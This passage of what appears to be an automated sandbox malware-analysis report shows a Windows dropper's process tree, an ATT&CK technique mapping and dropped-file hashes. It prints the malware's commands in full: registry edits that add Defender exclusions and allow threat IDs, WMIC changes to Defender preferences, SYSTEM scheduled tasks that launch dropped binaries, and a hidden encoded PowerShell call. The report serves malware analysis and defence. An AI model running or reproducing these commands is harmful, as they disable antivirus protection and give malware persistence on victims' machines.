                                                                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:2896
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1588
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:2032
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:2200
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:2840
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:1740
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:2592
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1596
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 00:05:12 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\AgOhyOZ.exe\" GH /viyddidry 385118 /S" /V1 /F
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                    PID:1964
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2308
                                                                                                                                                                                                  • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\AgOhyOZ.exe
                                                                                                                                                                                                    C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\AgOhyOZ.exe GH /viyddidry 385118 /S
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Drops Chrome extension
                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                    PID:1940
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1068
                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:1900
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:1996
                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:880
                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:2900
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                      PID:1960
                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:2188
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:328
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                            PID:1100
                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:2436
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:396
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:2392
                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:2248
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:2292
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:1040
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                          PID:3024
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                              PID:2796
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1824
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:1496
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:1072
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                  PID:2140
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                    PID:1140
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:2412
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:772
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:1968
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                          PID:2240
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                              PID:2900
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\lfiadF.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                      PID:1748
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\KEMaRfq.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                      PID:948
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:920
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:996
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\txYMuuO.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                          PID:1688
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\FgswcZm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                          PID:1488
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\xojYGnN.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                          PID:1076
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\vyCiXuO.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                          PID:1428
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 00:50:07 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\QPUKwtDR\xAyMkGC.dll\",#1 /yLnddidjb 385118" /V1 /F
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                          PID:2812
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /run /I /tn "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:2464
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2988
                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\QPUKwtDR\xAyMkGC.dll",#1 /yLnddidjb 385118
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:2376
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\QPUKwtDR\xAyMkGC.dll",#1 /yLnddidjb 385118
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                PID:2172
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:1276
                                                                                                                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "-1694732834-652061516-606348423-1332644559-1713929005-1778751044-413616399-235327247"
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:2808
                                                                                                                                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe "30584653914932926-1108700006793835603-14864376971696012709-1564334534-148634125"
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:1168
                                                                                                                                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe "1484999069-11638093251407564949-919119212-2111798563209466671381163061-323893968"
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:1612
                                                                                                                                                                                                                                                                  • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                                                                                                    taskeng.exe {B8573492-DEC3-4AF9-82C3-B5DDD219DE38} S-1-5-21-268080393-3149932598-1824759070-1000:UHRQKJCP\Admin:Interactive:[1]
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:3036
                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                        PID:2236
                                                                                                                                                                                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:2832
                                                                                                                                                                                                                                                                      • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:1428
                                                                                                                                                                                                                                                                        • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe "-1636684028-336340087-1301460064-624333326511514730673406117742116360-1346307572"
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:1700
                                                                                                                                                                                                                                                                          • C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                            C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                            PID:2264

                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                                                          Command and Scripting Interpreter

                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                          T1059

                                                                                                                                                                                                                                                                          PowerShell

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1059.001

                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                                                          Impair Defenses

                                                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                                                          T1562

                                                                                                                                                                                                                                                                          Disable or Modify System Firewall

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1562.004

                                                                                                                                                                                                                                                                          Disable or Modify Tools

                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                          T1562.001

                                                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                                                          Subvert Trust Controls

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1553

                                                                                                                                                                                                                                                                          Install Root Certificate

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1553.004

                                                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                                                          Unsecured Credentials

                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                          T1552

                                                                                                                                                                                                                                                                          Credentials In Files

                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                          T1552.001

                                                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                                                          Peripheral Device Discovery

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1120

                                                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                          T1005

                                                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                                                          Web Service

                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                          T1102

                                                                                                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                                                                                                          Impact

                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                            2.0MB

                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                            8e733e54fd97ab52aa786ad4f09429ba

                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                            fee672e98c7a0cb2caf0b3993d8d751ba1abfc29

                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                            f9606223db5a092922ab1fb9d2343edc3b972b5ac7298ace9ac007ad2ceb5d4b

                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                            fdad1d34720268667156f8cc7fdf7db354dc661078f55a1e1d1358edb1c3e3b3ef8e9112e4cac66a7cbd455b3f93e9d454f57042fbfd978ce2fcb76d9c042536

                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                            893B

                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                            d4ae187b4574036c2d76b6df8a8c1a30

                                                                                                                                                                                                                                                                            SHA1

